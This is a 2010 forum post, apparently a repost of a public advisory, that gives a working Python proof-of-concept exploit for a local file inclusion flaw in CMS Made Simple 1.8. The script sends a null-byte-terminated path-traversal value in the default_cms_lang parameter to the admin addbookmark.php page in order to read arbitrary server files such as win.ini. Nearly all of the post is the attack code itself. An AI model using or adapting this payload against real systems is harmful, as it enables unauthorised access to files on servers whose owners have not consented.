Professional Webmasters Community
Would you like to react to this message? Create an account in a few clicks or log in to continue.

CMS Made Simple 1.8 Local File Inclusion

Go down

CMS Made Simple 1.8 Local File Inclusion Empty CMS Made Simple 1.8 Local File Inclusion

Post  andry Tue Oct 19, 2010 1:54 am

A local file inclusion vulnerability in CMS Made Simple 1.8 can be exploited to include arbitrary files.

Code:

import httplib, urllib 
 
host = 'localhost' 
path = '/cmsms' 
 
lfi = '../' * 32 + 'windows/win.ini\x00' 
 
c = httplib.HTTPConnection(host) 
c.request('POST', path + '/admin/addbookmark.php', 
          urllib.urlencode({ 'default_cms_lang': lfi }), 
          { 'Content-type': 'application/x-www-form-urlencoded' }) 
r = c.getresponse() 
 
print r.status, r.reason 
print r.read() 
andry
andry
Moderator
Moderator

Posts : 467
Join date : 2010-05-07

Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum